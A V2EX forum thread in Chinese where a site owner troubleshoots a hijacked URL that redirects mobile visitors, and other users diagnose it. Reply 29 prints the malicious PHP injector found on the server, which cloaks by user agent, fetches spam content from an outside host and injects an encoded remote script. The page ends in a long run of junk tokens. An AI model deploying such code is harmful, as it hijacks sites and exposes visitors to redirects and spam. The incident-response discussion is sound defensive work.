网站被劫持了请教下大佬如何解决 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
请不要在回答技术问题时复制粘贴 AI 生成的内容
dai269619118
V2EX    程序员

网站被劫持了请教下大佬如何解决

  •  
  •   dai269619118 2023-10-08 17:44:26 +08:00 4901 次点击
    这是一个创建于 735 天前的主题,其中的信息可能已经有所发展或是发生改变。

    原本的地址是: www.xxx.com/xxx 打开都是正常的

    劫持的域名是: www.xxx.com/xxx?gLN3Nf=.xlsakd3E20230731 多了这段参数

    在移动端,劫持的这段域名打开会跳转他其他网站上,检查了服务器的代码 对应代码直接 exit

    应该是 dns 那边出现了问题

    试了下移动和电信网络 全都会被跳转

    大佬们这个应该怎么处理?

    第 1 条附言    2023-10-08 18:23:17 +08:00
    网址是我随便打的,想不到是个色情网站 大家尽量别打开
    第 2 条附言    2023-10-08 18:26:00 +08:00
    用爬虫去抓了下网页 所有的 html 最上面被注入了好多 <a href='xxx'>
    可能只针对了那一个链接生效了
    我在程序的主入口里面只执行一行代码 exit('hello') 注入的代码还是有
    所以可以排除 服务器上 mysql 被注入的可能
    第 3 条附言    2023-10-09 09:20:57 +08:00
    感谢 33 楼的大佬帮忙解决了问题!非常非常感谢!
    41 条回复    2023-10-09 12:53:50 +08:00
    xbchaonba
        1
    xbchaonba  
       2023-10-08 17:47:15 +08:00
    中木马了吧
    feidao158
        2
    feidao158  
       2023-10-08 17:48:29 +08:00   1
    上班打开了你这个域名,差点被公司领导看到,差一点凉凉了
    proxytoworld
        3
    proxytoworld  
       2023-10-08 17:50:07 +08:00
    js 代码呗
    dai269619118
        4
    dai269619118  
    OP
       2023-10-08 17:53:26 +08:00
    @feidao158 上面的网址我随便写的
    @proxytoworld 检查了请求 nginx 有请求日志,我在项目的第一行代码直接 exit 了 执行不到 js 文件
    2Soon
        5
    2Soon  
       2023-10-08 17:53:46 +08:00   1
    @feidao158 绝了,差点社死+1,这个 xx 能打开也就算了,关键还这么劲爆
    dai269619118
        6
    dai269619118  
    OP
       2023-10-08 17:54:25 +08:00
    @feidao158 额额。。。。。上面网址我随便写的 有点巧 改不了了
    coderxy
        7
    coderxy  
       2023-10-08 17:55:08 +08:00
    蹲个后续,还真没遇到过随便加个参数就能劫持的。
    xbchaonba
        8
    xbchaonba  
       2023-10-08 17:57:17 +08:00
    中木马了, 扫描一下代码吧; 我之前遇到过.
    proxytoworld
        9
    proxytoworld  
       2023-10-08 17:59:56 +08:00
    @dai269619118 ..有没有可能是 js 挂在 cdn 上,你不能通过 nginx 日志去判断啊,明显是前端 js 代码跳转的,打开控制台看是哪里获取到了这个 aff 然后跳转的
    xbchaonba
        10
    xbchaonba  
       2023-10-08 18:03:49 +08:00
    百度收录还正常吗
    dai269619118
        11
    dai269619118  
    OP
       2023-10-08 18:04:52 +08:00
    @proxytoworld 老哥 我在程序的第一行就执行了 exit('hello world') 测试了一下 不执行任何其他代码 这个被劫持的页面还是打得开
    dai269619118
        12
    dai269619118  
    OP
       2023-10-08 18:05:46 +08:00
    @xbchaonba 收录还是正常的 主要只有这么一个 url 有问题
    dongya
        13
    dongya  
       2023-10-08 18:06:07 +08:00
    上 https 啊
    hefish
        14
    hefish  
       2023-10-08 18:08:34 +08:00
    www.xxx.com 我刚打开了,确实跳转了,但没有跳转到 OP 所说的那个网址啊。。。它跳转到 http://www.xxx.com 了。
    咳咳
    Shazoo
        15
    Shazoo  
       2023-10-08 18:09:26 +08:00
    @dai269619118 #11 是什么神仙操作?说细点,哪个文件,那里你 exit 了?
    dai269619118
        16
    dai269619118  
    OP
       2023-10-08 18:12:12 +08:00
    @Shazoo 老哥 在主入口文件 整个网站只执行这一句代码
    yumusb
        17
    yumusb  
       2023-10-08 18:25:32 +08:00
    也有可能是中间件被修改了导致的劫持。没走到代码层面,之前宝塔劫持事件就是修改的 nginx
    xinyu198736
        18
    xinyu198736  
       2023-10-08 18:26:31 +08:00
    上 https
    googlefans
        19
    googlefans  
       2023-10-08 18:26:32 +08:00
    这个应该是通过你链接加个广告
    修改 htacess 文件
    proxytoworld
        20
    proxytoworld  
       2023-10-08 18:26:50 +08:00
    1. 你把你 www.xxx.com/xxx 页面源码贴出来
    2. 排除 dns 劫持,dns 劫持不可能只劫持一个页面,除非运营商劫持 http ,但你两个运营商都有显然不可能
    3. HTML 代码怎么 exit 我不理解
    dai269619118
        21
    dai269619118  
    OP
       2023-10-08 18:29:07 +08:00
    @yumusb nginx+php 这种组合 中间也没有其他什么服务
    dai269619118
        22
    dai269619118  
    OP
       2023-10-08 18:34:58 +08:00
    @proxytoworld 用爬虫抓了下页面 所有页面的头部都被注入了莫名其妙的<a>标签
    yumusb
        23
    yumusb  
       2023-10-08 18:39:26 +08:00
    @dai269619118 nginx php 篡改都能做到这个效果
    dai269619118
        24
    dai269619118  
    OP
       2023-10-08 18:47:18 +08:00
    @yumusb 老哥 应该是你说的这个问题 在 nginx 上我屏蔽了这个地址 异常的那个 url 打不开了
    这种一般要怎么检查 老哥麻烦提供点接下来处理的思路
    yumusb
        25
    yumusb  
       2023-10-08 18:48:33 +08:00
    @dai269619118 发个联系方式 来个权限可以帮你查查看
    7inFen
        26
    7inFen  
       2023-10-08 18:51:00 +08:00
    上 cloudflare
    dai269619118
        27
    dai269619118  
    OP
       2023-10-08 18:52:58 +08:00
    @yumusb 感谢老哥 微信: anV3ZW41NTU=
    yarawen
        28
    yarawen  
       2023-10-08 19:14:29 +08:00
    ……在公司电脑上不小心打开了黄网,要是被监控发现被通告
    我哭死你
    yumusb
        29
    yumusb  
       2023-10-08 21:53:15 +08:00
    <?php
    set_time_limit(0);
    error_reporting(0);
    header("Content-Type: text/html;charset=");
    $a = "stristr";
    $b = $_SERVER;
    function httpGetlai($c)
    {
    $d = curl_init();
    curl_setopt($d, CURLOPT_URL, $c);
    curl_setopt($d, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
    curl_setopt($d, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($d, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($d, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($d, CURLOPT_HEADER, 0);
    $e = curl_exec($d);
    curl_close($d);
    return $e;
    }
    define('url', $b['REQUEST_URI']);
    define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']);
    define('ent', $b['HTTP_USER_AGENT']);
    define('site', "http://sid.hj6j.com/utf8/?");
    define('road', "app?domain=" . $b['HTTP_HOST'] . "&path=" . url . "&spider=" . urlencode(ent));
    define('memes', road . "&referer=" . urlencode(ref));
    define('regs', '@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i');
    define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
    define('area', $a(url, ".xml") or $a(url, ".fdc") or $a(url, ".one") or $a(url, ".bug") or $a(url, ".doc") or $a(url, ".love") or $a(url, ".txt") or $a(url, ".ppt") or $a(url, ".pptx") or $a(url, ".xls") or $a(url, ".csv") or $a(url, ".shtml") or $a(url, ".znb") or $a(url, ".msl") or $a(url, ".mdb") or $a(url, ".hxc"));
    if (preg_match(regs, ent)) {
    if (area) {
    echo httpGetlai(site . road);
    exit;
    } else {
    echo httpGetlai("http://sid.hj6j.com/utf8/u.php");
    }
    }
    if (area && preg_match(mobile, ent)) {
    echo base64_decode('PHNjcmlwdCBzcmM9aHR0cHM6Ly8wc3VnYXJhZGRlZC5jb20vc2ouanM+PC9zY3JpcHQ+');
    exit;
    }
    LykorisR
        30
    LykorisR  
       2023-10-08 22:28:31 +08:00
    首先,你上没上 HTTPS ?上了的话排除 DNS 劫持,没上就上上。如果不是 DNS 劫持的话,看你 nginx 配置有无被篡改,没有的话就看 php ,还没有那就是前端引用的 js 出问题了,检查引用的外部 cdn 的 js 吧
    edgeuser
        31
    edgeuser  
       2023-10-08 22:47:26 +08:00
    @yumusb 这代码是从拿提出来的
    lmaq
        32
    lmaq  
       2023-10-08 23:15:43 +08:00
    服务器停掉在访问试试,有可能是服务器中毒了
    yumusb
        33
    yumusb  
       2023-10-09 00:21:50 +08:00   21
    详见:一次排查网站劫持过程流水账 https://zhufan.net/2023/10/08/%E4%B8%80%E6%AC%A1%E6%8E%92%E6%9F%A5%E7%BD%91%E7%AB%99%E5%8A%AB%E6%8C%81%E8%BF%87%E7%A8%8B%E6%B5%81%E6%B0%B4%E8%B4%A6/ 觉得有用点个感谢,回回发帖消耗的铜币
    hawei
        34
    hawei  
       2023-10-09 00:41:45 +08:00 via iPhone
    @yumusb 草 这真的太帅了,做安全的大佬?
    leimao
        35
    leimao  
       2023-10-09 01:22:49 +08:00
    YYF: ?
    dong568789
        36
    dong568789  
       2023-10-09 09:11:00 +08:00
    在入口断点没用的话,多半是生成了静态 html 了吧
    zzzmh
        37
    zzzmh  
       2023-10-09 11:05:36 +08:00
    @yumusb 怎么做到的?
    ahait
        38
    ahait  
       2023-10-09 11:08:15 +08:00
    @yumusb 老哥很强,这种劫持方式还是第一次见:在 php.ini 中有两个配置参数,auto_prepend_file 和 auto_append_file ,其作用相当于 php 代码 require 或 include ,使用这两个指令包含的文件如果该文件不存在,将产生一个警告。

    auto_prepend_file 表示在 php 程序加载应用程序前加载指定的 php 文件

    auto_append_file 表示在 php 代码执行完毕后加载指定的 php 文件
    ahait
        39
    ahait  
       2023-10-09 11:12:44 +08:00
    @ahait 应该是批量抓鸡,ioc 搜索引擎一查发现很多网站都被干了,估计是黑产团伙作案,入侵点没找到,估计明天还会继续劫持,建议楼主再往下深入查下,找到具体入侵点( web 漏洞、ssh 弱口令等等)
    starinmars
        40
    starinmars  
       2023-10-09 11:54:12 +08:00
    下次提前说下这个网站是干什么的! 在公司大屏屏幕打开,差点升天
    m0unta1n886
        41
    m0unta1n886  
       2023-10-09 12:53:50 +08:00
    前段时间刚处理过,我遇到那个问题是 nginx 下载源有问题,被织配置了,你可以重新换个源看看
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     5704 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 25ms UTC 01:41 PVG 09:41 LAX 18:41 JFK 21:41
    Do have faith in what you're doing.
    ubao snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86